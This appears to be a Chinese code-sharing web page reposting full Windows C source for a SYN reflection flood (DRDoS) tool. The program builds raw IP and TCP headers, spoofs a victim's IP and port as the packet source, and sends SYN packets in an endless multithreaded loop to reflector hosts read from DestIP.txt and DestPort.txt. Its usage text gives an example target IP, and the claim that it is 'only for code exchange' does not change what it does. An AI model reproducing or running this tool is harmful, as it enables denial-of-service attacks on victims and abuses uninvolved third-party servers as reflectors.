注册
登录
| 关键词： 端口 目的 drdossyninfo DestPort USHORT DestNum 反射 DestIP printf 线程 |
#define DEBUGMSG#include <winsock2.h>#include <ws2tcpip.h>#include <windows.h>#include <string.h>#include <stdlib.h>#include <stdio.h>#pragma comment (lib,"ws2_32.lib")#define erron GetLastError()#define WSAerron WSAGetLastError()typedef struct iphdr //IP首部{UCHAR Verlen; //4位版本号+4位长度UCHAR Tos; //8位服务类型TOSUSHORT Total_len; //16位总长度USHORT Idnet; //16位标识USHORT Flags; //16位标志UCHAR Ttl; //8位TTLUCHAR Proto; //8位协议USHORT Checksum; //16位校验和ULONG SourceIP; //32位源地址ULONG DestIP; //32目的地址}IPHDR,*PIPHDR,*LPIPHDR;typedef struct tcphdr //TCP首部{USHORT Sport; //16位源端口USHORT Dport; //16位目的端口ULONG Seq; //32位序列号ULONG Ack; //32位识别号UCHAR Lenres; //4位长度+6位保留字UCHAR Flags; //6位标志USHORT Winsize; //16位窗口值USHORT Checksum; //16位校验和USHORT Urp; //16位紧急数据偏移量}TCPHDR,*PTCPHDR,*LPTCPHDR;typedef struct psdhdr //TCP伪首部{ULONG Saddr; //32位源地址ULONG Daddr; //32位目的地址TCHAR mbz; //没用TCHAR Protol; //协议USHORT Tcplen; //长度}PSDHDR,*PPSDHDR,*LPPSDHDR;typedef struct drdossyninfo //参数结构{UINT TimeOut; //超时时间UINT IPListNum; //IP列表计数器UINT PortListNum; //端口列表计数器ULONG AttackSourceIP; //目的IP，设置为源IPUSHORT AttackSourcePort; //目的端口，设置为源端口TCHAR DestIP[1986][16]; //存放IP列表，反射源，设置为目的IPTCHAR DestPort[1986][8]; //存放端口列表，反射源，设置为目的端口}DRDOSSYNINFO,*PDRDOSSYNINFO,*LPDRDOSSYNINFO;DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos);//洪水攻击主函数USHORT checksum(USHORT *buffer, int size);//计算校验和void Usage (LPCTSTR Parameter);//帮助函数int main (int argc, TCHAR *argv[]){DRDOSSYNINFO DrDosSynInfo; //参数结构HANDLE hThread[MAX_PATH]; //线程句柄UINT MaxThread=0,ThreadNum=0; //线程最大值和线程计数器UINT DestNum=0; //目的IP和端口的计数器TCHAR StdinIP[16]={0},StdinPort[8]={0}; //存放目的IP和端口TCHAR *Find=NULL;FILE *fp=NULL;if (argc<=2){Usage(argv[0]);return 0;}//IP不能大于15if (strlen(argv[1])<=15)DrDosSynInfo.AttackSourceIP=ntohl(inet_addr(argv[1]));else{#ifdef DEBUGMSGprintf("Internet address no larger than \"15\"\n");#endifreturn 0;}//端口不能小于0和大于65535if (atoi(argv[2])>0&&atoi(argv[2])<65535)DrDosSynInfo.AttackSourcePort=atoi(argv[2]);else{#ifdef DEBUGMSGprintf("Port no less than \"0\" and larger than \"65535\"");#endifreturn 0;}//发送超时if (argc>3)DrDosSynInfo.TimeOut=atoi(argv[3]);elseDrDosSynInfo.TimeOut=666; //默认//线程最大值if (argc>4){if (atoi(argv[4])<=sizeof (ULONG)*8)MaxThread=atoi(argv[4]);else{#ifdef DEBUGMSGprintf("Thread num no less than \"%d\"\n",sizeof (ULONG)*8);#endifreturn 0;}}elseMaxThread=1; //默认//参数太多了if (argc>5){Usage(argv[0]);return 0;}#ifdef DEBUGMSG//输出参数的详细信息fprintf(stderr,"AttackIP:%s\n""AttackPort:%d\n""TimeOut:%d\n""MaxThread:%d\n",argv[1],DrDosSynInfo.AttackSourcePort,DrDosSynInfo.TimeOut,MaxThread);#endiffp=fopen("DestIP.txt","r"); //打开存放目的IP的文件if (fp==NULL){#ifdef DEBUGMSGprintf("Open \"DestIP.txt\" fail\n");#endifreturn 0;}//检测EOFwhile (!feof(fp)){//读取目的IP到StdinIPfgets(StdinIP,sizeof (StdinIP),fp);Find=strchr(StdinIP,'\n'); //查找\nif (Find)*Find='\0'; //替换为\0//拷贝到结构中strcpy(DrDosSynInfo.DestIP[DestNum],StdinIP);//printf("DestIP:%s\n",DrDosSynInfo.DestIP[DestNum]); //输出目的IPDestNum++; //计数器递增if (DestNum==1986) //数组满了，跳出循环{printf("IP Array full\n");break;}}DrDosSynInfo.IPListNum=DestNum-1; //总共读取了多少IPprintf("\nIP List total num:\t%d\n",DestNum); //输出总共读取了多少IPDestNum=0; //重新置0，以便用于读取端口fclose(fp); //关闭文件指针fp=fopen("DestPort.txt","r"); //打开存放目的端口的文件if (fp==NULL){#ifdef DEBUGMSGprintf("Open \"DestPort.txt\" fail\n");#endifreturn 0;}while (!feof(fp)){//读取目的端口到StdinPortfgets(StdinPort,sizeof (StdinPort),fp);Find=strchr(StdinPort,'\n');if (Find)*Find='\0';strcpy(DrDosSynInfo.DestPort[DestNum],StdinPort);//printf("DestPort:%s\n",DrDosSynInfo.DestPort[DestNum]);DestNum++;if (DestNum==1986){printf("Port Array full\n");break;}}DrDosSynInfo.PortListNum=DestNum-1; //总共读取了多少端口printf("Port List total num:\t%d\n",DestNum); //输出总共读取了多少端口//现在结构中已经有了反射源，呵呵Sleep(500);printf("\nStarting......\n");//循环创建攻击线程for (ThreadNum=0;ThreadNum<MaxThread;){hThread[ThreadNum]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DrDosSynFlooder,(LPVOID)&DrDosSynInfo,0,NULL);if (hThread[ThreadNum]==NULL){#ifdef DEBUGMSGprintf("CreateThread() GetLastError reports %d\n",erron);#endifgoto Clean;}ThreadNum++;Sleep(500); //等待线程初始化完毕}printf("Input ctrl+c for exit\n"); //CTRL+C退出WaitForMultipleObjects(ThreadNum,hThread,TRUE,INFINITE);Clean:if (hThread!=NULL)CloseHandle(hThread); //释放线程句柄if (fp!=NULL) //关闭文件指针fclose(fp);return 0;}DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos){LPDRDOSSYNINFO lpDrDosSynInfo=(LPDRDOSSYNINFO)lpdrdos;WSADATA wsadata;SOCKET sock=NULL;struct sockaddr_in sai;TCHAR DestHost[16]={0},DestPort[8]={0}; //目的IP和目的端口IPHDR ipHeader; //IP首部TCPHDR tcpHeader; //TCP首部PSDHDR psdHeader; //TCP伪首部BOOL Flag=TRUE;UINT IPNum=0,PortNum=0; //目的IP和目的端口计数器int DataSize=0,TimeOut=0;int dSyn=0,nRet=0;nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化if (nRet){#ifdef DEBUGMSGprintf("WSAStartup() error: %d\n",nRet);#endifreturn 0;}sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); //建立SOCKETif (sock==INVALID_SOCKET){#ifdef DEBUGMSGprintf("socket() GetLastError reports %d\n",WSAerron);#endifgoto Clean;}//设置IP_HDRINCL，自己填充数据包nRet=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&Flag,sizeof (Flag));if (nRet==SOCKET_ERROR){#ifdef DEBUGMSGprintf("Set IP_HDRINCL\n");printf("setsockopt() GetLastError reports %d\n",WSAerron);#endifgoto Clean;}//设置发送超时TimeOut=lpDrDosSynInfo->TimeOut;nRet=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof (TimeOut));if (nRet==SOCKET_ERROR){#ifdef DEBUGMSGprintf("Set SO_SNDTIMEO\n");printf("setsockopt() GetLastError reports %d\n",WSAerron);#endif goto Clean;}//填充地址结构memset(&sai,0,sizeof (sai));sai.sin_family=AF_INET;for (IPNum=0,PortNum=0;;IPNum++,PortNum++){TCHAR SendBuf[256]={0}; //发送缓冲//从结构中提取出目的IP，并拷贝到DestHost中，作为反射源strcpy(DestHost,lpDrDosSynInfo->DestIP[IPNum]);//printf("%s\n",DestHost);//从结构中提取出目的端口，并拷贝到DestPort中，作为反射源strcpy(DestPort,lpDrDosSynInfo->DestPort[PortNum]);//printf("%s\n",DestPort);sai.sin_port=htons(atoi(DestPort));sai.sin_addr.s_addr=inet_addr(DestHost);//填充IP首部ipHeader.Verlen=(4<<4 | sizeof (ipHeader)/sizeof (ULONG));ipHeader.Tos=0;ipHeader.Total_len=htons(sizeof (ipHeader)+sizeof (tcpHeader));ipHeader.Idnet=1;ipHeader.Flags=0;ipHeader.Ttl=128;ipHeader.Proto=IPPROTO_TCP;ipHeader.Checksum=0;ipHeader.SourceIP=htonl(lpDrDosSynInfo->AttackSourceIP); //受害者IPipHeader.DestIP=inet_addr(DestHost); //目的IP//填充TCP首部tcpHeader.Sport=htons(lpDrDosSynInfo->AttackSourcePort); //受害者端口tcpHeader.Dport=htons(atoi(DestPort)); //目的端口tcpHeader.Seq=1986;tcpHeader.Ack=1;tcpHeader.Lenres=(sizeof (tcpHeader)/4<<4|0);tcpHeader.Flags=2;tcpHeader.Winsize=1986;tcpHeader.Checksum=0;tcpHeader.Urp=0;//填充TCP伪首部psdHeader.Saddr=ipHeader.SourceIP;psdHeader.Daddr=ipHeader.DestIP;psdHeader.mbz=0;psdHeader.Protol=IPPROTO_TCP;psdHeader.Tcplen=htons(sizeof (tcpHeader));//计算TCP校验和memcpy(SendBuf,&psdHeader,sizeof (psdHeader));memcpy(SendBuf+sizeof (psdHeader),&tcpHeader,sizeof (tcpHeader));tcpHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (psdHeader)+sizeof (tcpHeader));////计算IP校验和memcpy(SendBuf,&ipHeader,sizeof (ipHeader));memcpy(SendBuf+sizeof (ipHeader),&tcpHeader,sizeof (tcpHeader));memset(SendBuf+sizeof (ipHeader)+sizeof (tcpHeader),0,4);DataSize=sizeof (ipHeader)+sizeof (tcpHeader); //数据包大小ipHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (ipHeader)+sizeof (tcpHeader));memcpy(SendBuf,&ipHeader,sizeof (ipHeader));//发送出去dSyn=sendto(sock,SendBuf,DataSize,0,(struct sockaddr*)&sai,sizeof (sai));if (dSyn==SOCKET_ERROR){#ifdef DEBUGMSGprintf("sendto() GetLastError reports %d\n",WSAerron);#endifgoto Clean;}//IP读取到了末尾，重新置0if (IPNum==lpDrDosSynInfo->IPListNum)IPNum=0;//端口，其他同上if (PortNum==lpDrDosSynInfo->PortListNum)PortNum=0;}Clean:if (sock!=NULL) //关闭SOCKETclosesocket(sock);WSACleanup();return 1;}USHORT checksum(USHORT *buffer, int size) { ULONG cksum=0;while(size >1){cksum+=*buffer++;size-=sizeof(USHORT);}if(size)cksum+=*(UCHAR*)buffer;cksum=(cksum>>16)+(cksum&0xffff);cksum+=(cksum>>16);return (USHORT)(~cksum);}void Usage (LPCTSTR Parameter){fprintf(stderr,"============================================================================\n""Syn反射洪水攻击\n""环境：Win2K Adv Server + Visual C++ 6.0\n""使用方法：\n""%s 目标IP 目标端口 发送超时 线程最大值\n""例：%s 218.68.19.86 80 888 10\n\n""注意事项：\n""程序的反射源由\"DestIP.txt\"和\"DestPort.txt\"提供\n""用于保存反射源的数组大小为1986，所以不要超过这个大小\n""本程序只是用做代码交流，如有错误，还请多多包含！\n""============================================================================",Parameter,Parameter);} |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
